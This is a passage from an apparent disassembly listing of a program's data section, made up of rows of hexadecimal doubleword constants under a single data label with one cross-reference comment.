		dd 24F27D05h, 8348CB5h,	3C1F88CDh, 841024B0h, 0B50FABA8h
		dd 0BAC1B33Dh, 0D72FAFC3h, 81AC5A83h, 0A62924h,	4E1A5872h
		dd 881CCDA2h, 81DE1D58h, 0C6739120h, 0B086329h,	0C05FB98Bh
		dd 1F1947B4h, 3A4380BCh, 0D1184883h, 0C2AF4C8Dh, 809090C6h
		dd 4625212Ah, 20F4A20Ch, 0D9E109Dh, 7830AD41h, 101E42F1h
		dd 0C58EBEC9h, 258B3D91h, 96F842F4h, 0C8904598h, 0F9F04D8Ch
		dd 10A992FEh, 0E8DB1580h, 387BC880h, 1600FB87h,	0BA0C9EB8h
		dd 19B65F1h, 1C0B2358h,	22BD08E4h, 0A42C3B80h, 0C1091425h
		dd 0CFA09927h, 0C7532C10h, 8ABD1F3Eh, 5831AAD8h, 0E94196C4h
		dd 545C818Ah, 0A6C804BCh, 266301E5h, 0EC60C5B8h, 454586E9h
		dd 30EAD461h, 0CB1171C0h, 3D88BE8Ah, 71C883BCh,	0E70D8D92h
		dd 6B1356E0h, 498C4E97h, 7004C8ACh, 0B67D41F2h,	10665177h
		dd 0E05B022h, 327ED6EAh, 88A3D428h, 4A40D096h, 45042199h
		dd 0BC099311h, 74208586h, 19429263h, 0C0088A25h, 75EF06C0h
		dd 372975ACh, 1E6810D0h, 0A46A1211h, 888F6828h,	0B9168C06h
		dd 0A456967Fh, 81876C30h, 0AD273EC2h, 7C551472h, 0E911CCCDh
		dd 0B5670091h, 2FAE74D9h, 0ACF9D461h, 11C24939h, 0A59DB8F2h
		dd 89A4BCA0h, 430FA926h, 14F2B76h, 54294714h, 0FE969ACCh
		dd 8CC4BCE4h, 6C68F473h, 0BC14C505h, 0DFC57B39h, 4F652828h
		dd 67589843h, 310E4C00h, 0E0218438h, 5598A23Bh,	0AC9C5C02h
		dd 46765474h, 0D2880509h, 0D0409782h, 13129F4Eh, 34BE6A2h
		dd 0EA1EF9DDh, 0AD873F7h, 944E69DCh, 1923EC82h,	8C220DC3h
		dd 0DEC298E7h, 60D45C89h, 0B19B6B66h, 0E90EBE01h, 7C47B017h
		dd 0BA273C6Ch, 0E1284CC4h
		dd 5174D4AAh, 0C9AF1B80h, 0ACA02C59h, 0E623F052h, 71D9C002h
		dd 61D7FAB5h, 0DCF8DBBCh, 0C3144A3Ch, 997429FCh, 0E28C4C16h
		dd 0BDF97405h, 7CAF9C40h, 0A07108D1h, 2720A330h, 4C803A6Ah
		dd 0F9EEBCE2h, 0F491984Eh, 0B8009724h, 0F160EBE7h, 9FA7DCD9h
		dd 694D0076h, 0C467CA8Ah, 6008DEAh, 0CCD72F2Dh,	4D0DF947h
		dd 8912B4DBh, 2924C3FCh, 2B9937F8h, 0A4935B0Fh,	10E69302h
		dd 720AB9E0h, 4E3C0C4Dh, 8475D480h, 9292h, 0C3D2F2CEh
		dd 58C43C2h, 2C22CA00h,	4D624266h, 0FE57012Ah, 8696FD83h
		dd 1ED993F3h, 0BDC8B4h,	58F5EF7Ah, 991571DDh, 9CB2E412h
		dd 0AE228E2h, 817A30h, 71CBB5BCh, 50293330h, 0EC6EAF5Bh
		dd 4F0FE01h, 1959882h, 2F3B54ADh, 3C233Ch, 206757D3h, 0E90017CAh
		dd 0B38CCD9Ch, 2E6D2DCCh, 5EC00A36h, 0A11FD746h, 953EC0D8h
		dd 609FA08Ah, 0D6BD2F09h, 0B394A035h, 126EA52h,	7BCFE43h
		dd 4861FAD7h, 54034CECh, 0F289C690h, 479AC84Eh,	487313D1h
		dd 0F11000Dh, 8296275Fh, 0C06C2097h, 39EC8F9h, 11ADDE7h
		dd 9103C11Eh, 0F580434h, 0B745B897h, 781300C3h,	6A1DA39h
		dd 707D4384h, 20833327h, 6575CEF8h, 8A900096h, 0CD135474h
		dd 102E3D79h, 0C802FE51h, 71C509D6h, 1801D91Ch,	737F0047h
		dd 0C41E9694h, 2218D70Bh, 6A814185h, 977371h, 6D4BD075h
		dd 0B5EDAF43h, 12C070C9h, 0C3EC8F9Ch, 3A83E4h, 0E177539h
		dd 41A5AB36h, 35DAC200h, 8DD3FC97h, 0B4F9554Ah,	0B3BC8C6Ch
		dd 7FBA028Ch, 0F30863DDh, 7366B4B0h, 771F83FEh,	1D8C46F4h
		dd 4EE39A5h, 0DC6C54B3h, 0BA289057h, 0E1543DB6h, 0D490B19Ch
		dd 0D7FCB200h, 37529608h, 0E30E269Eh, 0C8BC0760h, 0D072A1A5h
		dd 0D4902F9Bh, 0B6499114h, 2F2904E0h, 4FD888EBh, 53708F00h
		dd 28B7F938h, 9E150035h, 52ACABFCh, 249F6308h, 14F80DF8h
		dd 0B8EF0500h, 0A6192A28h, 0B244DC25h, 5800F848h, 1617F801h
		dd 3E280CE6h, 0B9288D11h, 0CAF814E2h, 9044F120h, 0CCF858A4h
		dd 0E409A449h, 40C85C01h, 7400F3ECh, 4CCA05Ah, 58A87EB5h
		dd 6500BE87h, 0AC8CA5B1h, 0D5067462h, 16D13E34h, 1C8B4CF1h
		dd 0CBF49924h, 3059E051h, 79002418h, 0DD1BB8FDh, 582DE5E0h
		dd 0E110D46Eh, 61A9CB31h, 606802C4h, 168CC0B8h,	1C58236Dh
		dd 0B073DBE8h, 429E9690h, 0C425E4B4h, 30C6004Ch, 3E085603h
		dd 0F93F1AE1h, 0F0B6825Eh, 483B86C8h, 726DF430h, 0A544984Bh
		dd 67BAE45Ch, 6B8CB500h, 0BE5624C0h, 28972598h,	0D580D891h
		dd 9F117B2Ah, 629CA303h, 9F57AE83h, 2DFA2A1h, 3A046460h
		dd 34039EB0h, 0CF48B915h, 0A2B87053h, 0E17B31B4h, 0BDBED431h
		dd 2C23C94Bh, 2938E729h, 2A00BFFCh, 0DA8269F3h,	353D9B31h
		dd 4694842Bh, 7CE89CF2h, 0E88C0AB8h, 0C71B0087h, 617BB05Dh
		dd 620451DDh, 0CC9D172Dh, 9F00D4B8h, 22E26D9Ah,	0D64EFEC9h
		dd 1463A0A1h, 7E212309h, 32D05841h, 6C3003D4h, 48947F97h
		dd 43C0D411h, 0C3AE8038h, 693DBB00h, 0CB34194Eh, 3C2700ABh
		dd 83F9D21Dh, 0B04AEC21h, 88F0C088h, 46097CBDh,	7AB9418Eh
		dd 2C192D40h, 1516984Eh, 0A4001077h, 2A02E90Ch,	0CC0495E8h
		dd 0A4ECC4E1h, 76099B58h, 0D4C62DD5h, 0D0593F44h, 0FAE17C8Fh
		dd 0CD977BCh, 74828891h, 65DE7602h, 852EA024h, 0B04E06C0h
		dd 8F073F0Bh, 9FD05AC0h, 7FCA093h, 377569DBh, 763493C6h
		dd 0CF18EAA8h, 98B00825h, 50A67B54h, 622C00Ch, 898C5C9Ah
		dd 0B7CC1C4h, 484D8704h, 68D0D621h, 0A1B125EEh,	3E109E94h
		dd 0CC9EAD47h, 20525C09h, 2FAE782Ch, 0E802B735h, 0F0528396h
		dd 0E7B6BD02h, 76D0298Ch, 702C0080h, 4D6DF3EFh,	2D788216h
		dd 0EEBD18C0h, 417B4AFCh, 0D6BCAC28h, 46C6CB5h,	7DF923C1h
		dd 2A851CE0h, 41E0ABEAh, 54D807A9h, 0D58E423Ch,	94B802B1h
		dd 3820C850h, 32220C45h, 1EA1E2DBh, 3C004099h, 882A90BDh
		dd 0D5B4009Bh, 0C348CA43h, 0A5046156h, 350FCE1Bh, 41E04088h
		dd 53A430ABh, 0AAEA8419h, 198F3D90h, 0D2E6DBC3h, 78B9B0D8h
		dd 3F896600h, 1D57A652h, 76EA1h, 0C5582CFh, 380C1BC2h
		dd 0A18CC5BDh, 0FFE5266Ah, 71C2C0D4h, 8E5F8AD9h, 0C3F402Ch
		dd 178C71CAh, 0B52BCCEh, 784DD0h, 0E486AE61h, 2724232Ch
		dd 9460CDF9h, 8D0B2187h, 0E5E57CBCh, 60B3E408h,	75BABFh
		dd 9604FFFBh, 0FC324AD8h, 736A3101h, 91C187Fh, 0B4C82C4Ah
		dd 0F2319EC0h, 5A2E3E7Ch, 1C113984h, 8D68C8F1h,	4098892Dh
		dd 39F947B4h, 0DFBDE2h,	965C7218h, 94B484E3h, 8E465Eh
		dd 38142807h, 20B73C0Ch, 200FC0C9h, 0FFA4249Ch,	480CF824h
		dd 24B018E6h, 428C3D57h, 50823767h, 68F48E1Ch, 0FF29BE91h
		dd 183DF9F0h, 0C704074Bh, 11A4DF2Dh, 481DEE72h,	10208188h
		dd 2A831347h, 4B40D00Bh, 50D2E30h, 0E9582FF4h, 23D82F2Bh
		dd 47F1038Dh, 3DC0DD16h, 7A4CC49Eh, 83F0928h, 0F9AC0960h
		dd 180CF198h, 0EB3C0240h, 0D3988111h, 0E251E440h, 0C2BC9182h
		dd 0A31E5189h, 7A3F1420h, 8B1D0627h, 0E8F131E7h, 83D0F402h
		dd 5A449818h, 0DCC089D1h, 24002A04h, 35D095A3h,	13CA0BC3h
		dd 0B094B67Ch, 2B6087F8h, 0DE192238h, 2DD8A12Eh, 0E690046Fh
		dd 988A3Bh, 59FCC40Eh, 39E046F3h, 5048BDC2h, 3C1421C2h
		dd 8EBC0B00h, 6400B5B5h, 40087872h, 0D5B6E383h,	341E04E0h
		dd 0BCD844FDh, 20A38050h, 393E8F0h, 0CF45C051h,	0B116B823h
		dd 4B30BBAh, 0EF30B4E2h, 0CB5F28Dh, 0CAC92395h,	30F571E1h
		dd 0E3C19B8h, 0BE7A1245h, 0FC64B006h, 24093D20h, 8F1B5D16h
		dd 0C12F88C0h, 61BDFFDCh, 20207182h, 0D0F23A80h, 67E35325h
		dd 603164C0h, 0A387334h, 89B6BB40h, 1F1E85B8h, 465CE43Eh
		dd 24C004EDh, 209E96A5h, 6302ACD6h, 218A4B73h, 315C7CD8h
		dd 0EE7CF8h, 12544D8Dh,	455FE9F3h, 0A424F45Ch, 8EEEC448h
		dd 2093F9F7h, 0D0A13E28h, 0C7BD10E8h, 0E0A9C93Bh, 0E4BC3C68h
		dd 16BB4600h, 5B981589h, 621D00EAh, 80D3EEEh, 0CF1F7F24h
		dd 0C0AF2186h, 324D298Ch, 0EB8177EAh, 200D7841h, 808A75ECh
		dd 0F93E47F8h, 0D8B04B74h, 5D587504h, 32530065h, 22275CFEh
		dd 0BC90BF9Fh, 6BE3BDC3h, 0BCD50C20h, 40ACBEBAh, 70E54E48h
		dd 24D01C5Bh, 740C62Ah,	46ECC8BEh, 0EA7632DAh, 8800ACE4h
		dd 8D275773h, 0BA85CAh,	5F5D252Dh, 58C2EF1Eh, 7508E4B6h
		dd 687949E5h, 47183B59h, 1640C05h, 0C8802F8Ah, 0B8F4534Eh
		dd 1DF31128h, 0A2000BCh, 9B45E7DDh, 0C85500C3h,	0EF546CDBh
		dd 34247B93h, 591E186Ah, 0F5FC01E0h, 4A1C7D2Dh,	5083047h
		dd 756EEF00h, 0A1F8C90Eh, 0A2191023h, 218B09A7h, 61E86007h
		dd 71860903h, 0E470A37Ch, 0D8797C99h, 80007318h, 4868798Ch
		dd 60A5E4Bh, 65AE4695h,	3E1CA0ADh, 68EFB577h, 7C3A5E94h
		dd 58B3481Ch, 6CB6610h,	0E83C7187h, 0EA543B88h,	9A00B838h
		dd 59A592C8h, 0E300FBCBh, 60721BC0h, 0CE5D69A8h, 278C8650h
		dd 7D02D068h, 63A7BF32h, 0F8A37DEEh, 83F9230Dh,	0C9A82884h
		dd 2058D0B5h, 0BA3F3D59h, 0BFD20AEh, 0BCAA3072h, 71F318C0h
		dd 44331BF0h, 0C17B115Bh, 303A0E0Dh, 9DBEBAE4h,	5FFC21B5h
		dd 598454F9h, 0CAC1A6h,	7046CA8h, 0C90C07E3h, 15D034F3h
		dd 63CC421Eh, 28803DF2h, 77B7C1EEh, 113C3927h, 0BC50BC58h
		dd 7522C352h, 8E4612A4h, 0A004C4B1h, 76053FCCh,	3FDF932h
		dd 202FE0E4h
		dd 0C90301EAh, 0F9319DE9h, 82795EB5h, 98A91A24h, 0A3A16482h
		dd 0A977B801h, 33C49838h, 4F581445h, 2C2528C2h,	2B882321h
		dd 0E7A502FCh, 0B9867F3Fh, 0CCAD29C1h, 0D902EA06h, 490129C9h
		dd 0D09D55B4h, 0B1803191h, 0F03688F2h, 9B778201h, 93318D5h
		dd 0B9B86078h, 0F88E008Ch, 1E336DE6h, 0C8B0348Fh, 0BF1EC484h
		dd 61157916h, 74D526F8h, 0A3CFE180h, 1873624Ah,	314884C7h
		dd 0E000FFE2h, 0CF670F5Fh, 4574CEEh, 0EA4F272Dh, 1234D12Eh
		dd 167FEC4Bh, 2AD9C503h, 0A0B5ED5Dh, 74BDCDh, 3F2494DCh
		dd 0C4F4BF69h, 0ECD6FF02h, 560CA7C6h, 0D8465E5Ch, 0EF177600h
		dd 2FE795FAh, 84736608h, 0C21C803Ah, 0E27709DFh, 9C81571Ch
		dd 0C40F5980h, 9019CDC5h, 0DAED17E4h, 0A26CF321h, 7503300Ch
		dd 0AB4B4300h, 8EBB5308h, 0B4D64891h, 0AC5DD49Fh, 4517743Eh
		dd 0D7A0E5BAh, 45DC75C1h, 0C1A4AC3Ch, 23653FB0h, 82C5DF03h
		dd 0F0FE2DF8h, 0A712EF01h, 820E9B9h, 9EFF032Bh,	52F95EE3h
		dd 0B8C8204Eh, 160E003Ch, 614317Eh, 24011B12h, 9CD94A7Dh
		dd 0F5085D45h, 670062FCh, 7235542Ah, 4B2C4BC9h,	0AD7085C6h
		dd 30885AFCh, 0A2CF2498h, 45611DEBh, 84E2E566h,	0D43094F0h
		dd 92E4A4F0h, 0E287590Fh, 8EFF5DD6h, 0E0536206h, 597587Ch
		dd 4F170FBBh, 9B012D78h, 3D5148F3h, 6F820084h, 298CCE26h
		dd 12C96B4h, 2E7C5C2Ch,	0A17FC496h, 217C7094h, 3780ACFEh
		dd 3BDE1720h, 57CF1EBDh, 1690011Fh, 306EA9E9h, 8B39632Ch
		dd 94BCBF7Eh, 84E422F1h, 0C600AD8Dh, 0B271D123h, 3DB5h
		dd 0FAF38123h, 0AE05CEA1h, 1C7B9235h, 0B6ACA4h,	16150574h
		dd 2DBCCD73h, 77541909h, 452002C2h, 92AC72CCh, 42072050h
		dd 0D83D8424h, 0E0D56E43h, 681DECh, 345E4D0h, 0A9B6BA8Dh
		dd 0C025C8BAh, 57F4CA54h, 43045037h, 0DA20EA72h, 440EBD8Bh
		dd 0AA823E8Fh, 6C1850B7h, 644B2C69h, 0A14718B6h, 83E6E9Ch
		dd 6C01C023h, 0F9F2D148h, 0AA73C443h, 65CC62Bh,	9CE7BFF1h
		dd 0B618110Ah, 0B3F8C745h, 5AFBF00Eh, 76F0B1BDh, 0D14AB09Ch
		dd 45A7977h, 0F1DCB785h, 903EAF02h, 82382F23h, 0F53FBD8Eh
		dd 64BC4804h, 76C09437h, 610F3046h, 0C843312Bh,	949A218Ah
		dd 0A15D40EAh, 36829600h, 0FBC3DC50h, 706206CBh, 805E6078h
		dd 354B7B5h, 6E3B7DCCh,	96E1F0A3h, 0D5BC420Fh, 467A1E21h
		dd 0D8EC4C78h, 7E80008Ch, 67A35A29h, 0CC7733D1h, 919A2112h
		dd 9B124D2h, 0BE82D8FEh, 0E827292Fh, 4F30D6D0h,	9144EE4h
		dd 0D0960390h, 13BD8A34h, 0D40EEC9h, 3D39ADBCh,	23D01308h
		dd 22E478C8h, 0C894AB9Eh, 0CB57887h, 0A76579D0h, 1C62171Ah
		dd 3A44A212h, 0AE54505Ah, 8F2FB481h, 0AC509D60h, 9F413BC0h
		dd 0BC01CC1Bh, 898BEC3Eh, 98849CA0h, 8F030683h,	0C08D88ECh
		dd 0C3959A85h, 6CEC2C00h, 0DACF59BEh, 5889E6EEh, 0FEE89828h
		dd 0E501AC43h, 0FA9D3BBDh, 0DED8D331h, 109AEDB7h, 68C9044Eh
		dd 2804902Ah, 0F91323F4h, 8B495B1h, 0C8019D47h,	266CFC7Bh
		dd 3438E0DCh, 5630266h,	7EFDCE27h, 0DCB856h, 4A30989h
		dd 0BD9322DFh, 86EACD13h, 4C8CCB0h, 0BFF82F2Ch,	0F848BA31h
		dd 9C60ADAAh, 3BFAE8Bh,	335D90h, 9FE20859h, 54BB35BEh
		dd 0B41B8300h, 46978FE8h, 110E12FBh, 0A4704A26h, 5C4DA5ACh
		dd 0CCFEB4C0h, 31E5002Fh, 0A19224E8h, 0D490BDB8h, 482BDF40h
		dd 0FACA5CADh, 20EB97C0h, 1573080h, 0CC440F5Eh,	0BE02B489h
		dd 9C48593Fh, 0BD09E346h, 0DA54912Fh, 0AD6521B4h, 42B7A828h
		dd 0E494E530h, 612D603Ch, 0EFD4005Fh, 28238799h, 5718AE70h
		dd 0CF700C9Dh, 6E1F0073h, 23FD2F2Bh, 4C9C2442h,	1D0CC2Fh
		dd 0DB1F61E9h, 202408CDh, 8C99EB06h, 0B7039E00h, 0A8BB1D89h
		dd 0BFD488h, 522515Eh, 0C7D9C3F4h, 5840EA00h, 0FD08D792h
		dd 428A5E96h, 0BADE29BCh, 8C56B04Ah, 102ADA40h,	0CB471E64h
		dd 3A1200BCh, 4A5CFDAEh, 0E3AD8500h, 8CCFBF46h,	0D0845FE2h
		dd 5F1EA178h, 2DEB2406h, 686EFBE4h, 6A869BAh, 8C77374h
		dd 0F2CD7D0Eh, 0C82392D1h, 7BF83D98h, 51432E9Bh, 0D04A8C91h
		dd 964F19F3h, 3081AC02h, 0A8BADD99h, 2F444067h,	7BC2DF61h
		dd 0F30AA804h, 7BE27D00h, 4C09DDE3h, 109EBFADh,	0DCC21E08h
		dd 3862C0C9h, 83910E1Dh, 0DD7B6100h, 8C1AE6B0h,	17C90395h
		dd 0AAB708D1h, 60293101h, 0D7502184h, 9328222Ah, 676DF421h
		dd 64782AD0h, 0F9842076h, 44020074h, 229D098Ah,	93111C45h
		dd 2DD88FF7h, 20D27500h, 0B8C92FE6h, 588467Ah, 0FE1F5AEFh
		dd 9E80F445h, 9D81D874h, 9D78CB3Ah, 84C0AC50h, 6CD79E5h
		dd 0A11804E6h, 0E351BE08h, 0F260D293h, 21DE8068h, 3B99DECh
		dd 0AD2EE09Ah, 48D183F8h, 0BC844C8Dh, 0ECA1BD88h, 0DD412FD6h
		dd 3AC918C8h, 5891EE81h, 484F00AAh, 5D9ED60h, 6916169Bh
		dd 80F4E8EEh, 61E6732Ch, 976412AEh, 29B4B988h, 0CC00E01Bh
		dd 0E8928B8Fh, 0B2400B50h, 1600DAF4h, 6A7AA0C3h, 0D34A65Ch
		dd 3047B81Ch, 23AC2F2Ah, 0F3630ED7h, 904615A0h,	0D012C968h
		dd 88E8D9FFh, 0B11FC080h, 10004F48h, 61579368h,	3BF9EAABh
		dd 7182A8A9h, 21AE46F3h, 55F488A1h, 7514264Ch, 0F810366Bh
		dd 74209E18h, 610EB946h, 3DA92C62h, 991B7E80h, 28044C2Bh
		dd 0C218AA2Eh, 66984DAAh, 0E82D0B9h, 0CBE74E00h, 0B4818CE6h
		dd 4021B579h, 15450725h, 64406C85h, 0D53EB2EFh,	146C9B6Eh
		dd 1510F807h, 509B07C4h, 0C40C89Eh, 0F7D9E3h, 2D61D32Ch
		dd 0C47A520Fh, 902B4Ch,	57E3FE37h, 24D0C3C9h, 4180DDE2h
		dd 2106A95Eh, 686E3F18h, 0BA84BF00h, 5C1686BEh,	0E4B2B54Ah
		dd 7D2E6D0Fh, 0B7386B62h, 0DD003C6Ch, 523DF3A7h, 6FE97BE4h
		dd 47166471h, 3463CF30h, 0E2748292h, 0BC0BC620h, 0C091279Eh
		dd 0BD9D471h, 0EC175818h, 0A4D97089h, 23C02B2Bh, 402E0009h
		dd 2DDCE396h, 2DC8B251h, 80C32C94h, 1008C425h, 7E8FD471h
		dd 0CFCBC41Dh, 0CD2FA744h, 0F8400BFh, 230C79CAh, 21C5BE25h
		dd 0FC2A53F4h, 0D783398Bh, 6508E071h, 6A6600CCh, 0B0CD4119h
		dd 1B645CB6h, 3D0040BEh, 0ECD3E8A7h, 9B697201h,	707D5329h
		dd 0C098146Ch, 16746DF9h, 7CE1702h, 0D4FBB326h,	1C064034h
		dd 2C00585Ah, 2587734Bh, 2C6C19Dh, 0CAE9FEE7h, 24E0CBB3h
		dd 7D803C76h, 3AC8FAB5h, 90608ED6h, 9AA44872h, 0F1AF5A1Fh
dword_4E414C	dd 0B231D700h, 0DB342Ch, 0E67AC83Eh, 0DED6E7Ch,	7484D126h
					; DATA XREF: ___:off_43ACE4o
		dd 0B001B5C0h, 0C0C55F47h, 2ACA7240h, 0A91760B9h, 414484E0h
		dd 41A44146h, 6702E2DAh, 65385EAFh, 6E1C212Bh, 7030883Ch
		dd 67030BB2h, 0C854F450h, 1F0BE5E4h, 0CA298D3Bh, 9760823Ch
		dd 354DC7Fh, 15F93033h,	0B1383285h, 0C0B67225h,	4451B727h
		dd 928F4700h, 596A3129h, 0B93DD0A9h, 6825F9EBh,	0C2D8B27Ch
		dd 21FDB4AEh, 425D967h,	0C287D8A8h, 35A412Eh, 0FCF86D7Ch
		dd 5170A631h, 700090BEh, 0B54320E3h, 0B85AA48Eh, 0C58590D1h
		dd 0DCF448F3h, 0DD8E25A2h, 57D84001h, 4471D2CDh, 5B1893D9h
		dd 0AFAE1D01h, 9CF59A7Ch, 0E026D7F1h, 1C02F317h, 73E02490h
		dd 3202FAD0h, 2F291E00h, 0D4A8B04Eh, 0FEC70070h, 0E13A96BAh
		dd 0E472EC09h, 0A3837E00h, 0A81AC0ACh, 20BB6063h, 3554A289h
		dd 838F2900h, 13BADB1Ch, 0CFC74B1h, 3C59C7C5h, 4005AD1h
		dd 847B90ECh, 0FAEABE0h, 1B1C01Bh, 3AE4FA20h, 741F69D8h
		dd 0F201C2BBh, 6B7C7AE6h, 57BE8840h, 588BBD59h,	810090D1h
		dd 0C423B9C0h, 0B04752F3h, 89100C48h, 0BDC01CE1h, 2AE0C665h
		dd 4D096D0h, 0B58EEA05h, 0C82BFE47h, 1E23A9A0h,	50290118h
		dd 80775D08h, 58802A94h, 0D76D8071h, 0B371C7Ch,	0A2F6E896h
		dd 0C2773108h, 0D2B24C18h, 20305406h, 0A520C37Ah, 0BAE73385h
		dd 81AC821h, 631882BCh,	253018EDh, 0DA93108Dh, 34BD20C6h
		dd 0B5653118h, 88AA9D10h, 18AFD608h, 0A3746938h, 0C4C5EF80h
		dd 6E02E08h, 51206869h,	70F0DF2Fh, 0D18C6C4h, 0C36208C1h
		dd 0E6CE1F1h, 130846C8h, 51710C30h, 88A81508h, 38C4DD38h
		dd 0A30C59B9h, 4B63EDF9h, 31458510h, 89419308h,	3C208DCAh
		dd 66CD08A4h, 62B04F2h,	3118AB60h, 4DF8979Bh, 47188C2Ch
		dd 66CC083Ch, 988187Bh,	3BA06954h, 7DD44F54h, 9DB318C6h
		dd 40A13108h, 883F9C18h, 8262008h, 0FE083D2Eh, 70C60833h
		dd 0D2D19D19h, 77F73443h, 20536710h, 0E808D8ECh, 4DF10C87h
		dd 766FFA18h, 0C4AC808h, 0DB2081FCh, 26089F64h,	0CD291C91h
		dd 0B4C4408Ch, 1C92A208h, 0C6516D44h, 8394A29h,	0DA2024FDh
		dd 408E4140h, 5E8968F9h, 67E1EC51h, 1634C01h, 2088882Fh
		dd 6A2CBC3Ah, 19AC1833h, 18CCC6A1h, 374998C7h, 0C45A2EE1h
		dd 0D3A87F08h, 102A6DC8h, 0B6249036h, 7CAA105Fh, 8DC8831h
		dd 0E402E8BAh, 7754B4A2h, 5344B02h, 9EF0469Ah, 2D205875h
		dd 58EE2079h, 188CB049h, 0FD1024D1h, 360780EAh,	81D93C80h
		dd 3F5424BCh, 62B27A40h, 30DD10F8h, 2041D006h, 1662DB02h
		dd 3AD5D61h, 803C8A65h,	556CC04Bh, 0BC11C4D6h, 1099A596h
		dd 8C85E105h, 0B1660331h, 0F8A9D1E1h, 0AA61C831h, 6A088C4Ch
		dd 40853094h, 0A340543Eh, 0E9E4A890h, 5608CAA2h, 31EC99D0h
		dd 0C7F18C96h, 0A8CA08B3h, 0C6A144C0h, 50749508h, 83B02854h
		dd 89398E66h, 80A74908h, 6398927Eh, 8620193Ah, 0C0D5082Ah
		dd 0B0E84D54h, 0E1527492h, 10B932D4h, 25406993h, 0E9BDDC57h
		dd 0F053B831h, 9508105Ch, 0D885185Eh, 80801038h, 2A2558C3h
		dd 0C46420EBh, 5ACA372Bh, 7B80C061h, 2F98FF2Ch,	0FC5D10C0h
		dd 7305C0E8h, 40BC0510h, 951F53CFh, 0E64500ACh,	0FE4316F0h
		dd 6DFCA900h, 1FB248EAh, 582905D7h, 0E452D304h,	0C3007230h
		dd 47F4BCD2h, 4A2E1F93h, 14BCA7h, 0F5D31C75h, 12BE302h
		dd 0E95355FBh, 70227150h, 6103C0C5h, 26183732h,	0EB83E086h
		dd 510D010Bh, 782AC2EAh, 0F454F21Ch, 1F75E100h,	0CA5E096h
		dd 0CDD0A754h, 0C1604660h, 1F8A23B8h, 2F65E8B6h, 98C82582h
		dd 0FF045D31h, 77A5C8BBh, 0DBFC01EBh, 0CD94B547h, 0B0587A96h
		dd 16BC7218h, 91C2C48Bh, 726C660Ch, 7BE0048h, 738C83D7h
		dd 0F1F0E5h, 87A2A73Ch,	80AE252Ah, 83CB1F05h, 0C418A09Bh
		dd 1FD96948h, 501C6CBCh, 0A1540350h, 0C0CEB326h, 125C34E9h
		dd 807BEA4Dh, 0C497E6D4h, 0B4008DE6h, 0D8AE7426h, 6014EAA5h
		dd 0E9CE20D1h, 0C461135Ch, 0B2D460A0h, 29BE1898h, 46783091h
		dd 2E8A83Ch, 72D0CF52h,	0A2DC8127h, 0E882DB1Fh,	1CA61DB7h
		dd 17769C80h, 0E73F7C97h, 369480D9h, 6EDC7159h,	21EA3FCEh
		dd 0FB9960E0h, 662912F4h, 0BC07FCA9h, 1CED72Fh,	0E02D1C8Fh
		dd 0F10E5096h, 0D196D05Ch, 0D40F7A19h, 43BA170h, 814AC7F4h
		dd 0FCFECB45h, 0F6008665h, 0C9AF1BC2h, 2C502C0h, 9CE57C2Bh
		dd 0C4D47E5Ch, 0D109811Dh, 14400FBAh, 0FB1E0AB4h, 9960FCDBh
		dd 9EF45CFCh, 90760984h, 4225E0C8h, 29BF2435h, 402427FBh
		dd 0AA1DEA4Bh, 2483BF80h, 0B7683DD2h, 0B98482D8h, 0AF5CE481h
		dd 805889E0h, 223C009Eh, 6AFD82EBh, 0C118303Ah,	0A26CB11Eh
		dd 0B803B898h, 0FE814471h, 7CC176D0h, 847F0D9Dh, 0C060A946h
		dd 8319C66Ah, 165041D6h, 0EA01288Bh, 0D475F491h, 74007914h
		dd 1FCDC40Ah, 0E44F93Bh, 0D3B0D97Ch, 0D2DD6D60h, 201EE630h
		dd 94E40BA5h, 11768209h, 80432984h, 0A078EA1Eh,	0D6FFBAD4h
		dd 0D15A4F2Bh, 248CEB90h, 84121228h, 74036760h,	0F64DE1h
		dd 0D02E8B20h, 0BB7A6BE0h, 0C23F2000h, 0A047112Bh, 0EA6E1697h
		dd 6A0C0CFh, 8200CE70h,	7A872EE9h, 161AB92h, 0A974E476h
		dd 0DDF3A11Eh, 0CAE42018h, 9138BCF4h, 10A4D3C4h, 2B15E7ADh
		dd 689084FFh, 0EA66AB04h, 28E879h, 30741921h, 9F54A6h
		dd 9CEEC562h, 1E83C113h, 9C8FB5h, 0FAC3C41Ch, 44773981h
		dd 83EF5102h, 808089F9h, 6A60E180h, 37EAA10Ch, 48C2581Ch
		dd 66132029h, 0E1042071h, 88A8ABADh, 0EB00D0A6h, 7557CFE7h
		dd 5CDF5426h, 62766EAFh, 4204C031h, 0BAAAE7E3h,	2E482C49h
		dd 4000B41Dh, 1EDB6E60h, 9AEE0043h, 0CE6ABDF6h,	5402B34Eh
		dd 0DDC87310h, 0FA82D5BCh, 0C880782Fh, 0E739EB04h, 0FB9AE200h
		dd 1DC54531h, 707A6079h, 190BD960h, 855CF30Ch, 0A4D7A8CBh
		dd 82E63EACh, 10A72A18h, 8A3A647Dh, 0FE3E1FCCh,	1762009h
		dd 0ACED80B8h, 4977B424h, 0DE941899h, 44C16512h, 0C458F918h
		dd 0BA906238h, 2310060h, 2D9540C4h, 5D61FC80h, 48331F03h
		dd 3182992h, 5E1BEAD7h,	9D3F4878h, 8854305Ch, 0C2B74BEBh
		dd 3983A6B8h, 0BCBC9849h, 99961888h, 908CE310h,	0A15C194Ch
		dd 0F172385Ah, 0CCEC301Fh, 12003D4Dh, 0ECA09783h, 884F4C46h
		dd 0B8013A3Eh, 0EEEB4270h, 8080BE60h, 1FFFD1E9h, 72751C5h
		dd 0D4E10F20h, 78A04955h, 2674CE5Eh, 0B15CDD04h, 8C88AD8Dh
		dd 0B4019546h, 303688CCh, 0AE4C6114h, 9D7104B8h, 58CCE3D6h
		dd 0A07893BEh, 9C7030F0h, 652908D1h, 8172F001h,	0E417E084h
		dd 0CA3430h, 82EE0259h,	23256662h, 0C90118ECh, 5CFAABEAh
		dd 90925DF9h, 0C4FC0585h, 6B648CC5h, 0B9C8DE86h, 0CDCEDD00h
		dd 0AF1E20A1h, 31A09860h, 98BC1F10h, 1C770820h,	170141BBh
		dd 0FEC673D2h, 3E501330h, 668376D9h, 0B475679Fh, 1117000h
		dd 0BE3FB5DFh, 4CCB00A1h, 73439226h, 8E00DA2Ch,	52BFF34h
		dd 0AA59DAFh, 486EEAA2h, 0CB016BCh, 0C1B88460h,	0D588E450h
		dd 0A01DA740h, 0F8C903B8h, 18064838h, 2C78F510h, 82BE3497h
		dd 9D76D5FFh, 70C06ACCh, 0A12B019Ch, 4C6F2E5h, 0BC05E296h
		dd 42778880h, 0A527D06h, 0E199EAD3h, 579AC94h, 0F7969Ch
		dd 46CD53BEh, 0BEE86B80h, 60EBF93Bh, 0A9159508h, 146C7C54h
